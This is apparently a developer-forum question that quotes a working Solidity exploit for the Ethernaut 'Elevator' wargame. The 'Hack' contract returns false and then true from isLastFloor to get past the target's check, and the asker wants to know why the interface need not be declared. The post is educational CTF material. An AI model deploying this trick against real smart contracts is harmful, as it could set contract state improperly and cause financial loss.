I am reading a code solution for ethernaut level 11: elevator as below:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Hack {
Elevator private immutable target;
uint private count;
constructor (address _target){
target = Elevator(_target);
}
function pwn() external{
target.goTo(1);
require(target.top(), "not on top");
}
function isLastFloor(uint) external returns (bool) {
count++;
return count > 1;
}
}
interface Building {
function isLastFloor(uint) external returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
This is a working solution. The thing I just don't understand is, seems "Hack" Contract implements Interface "Building"'s method "isLastFloor" , but there is no declaring of Hack "IS" Building.
Need some help on understanding this, thanks.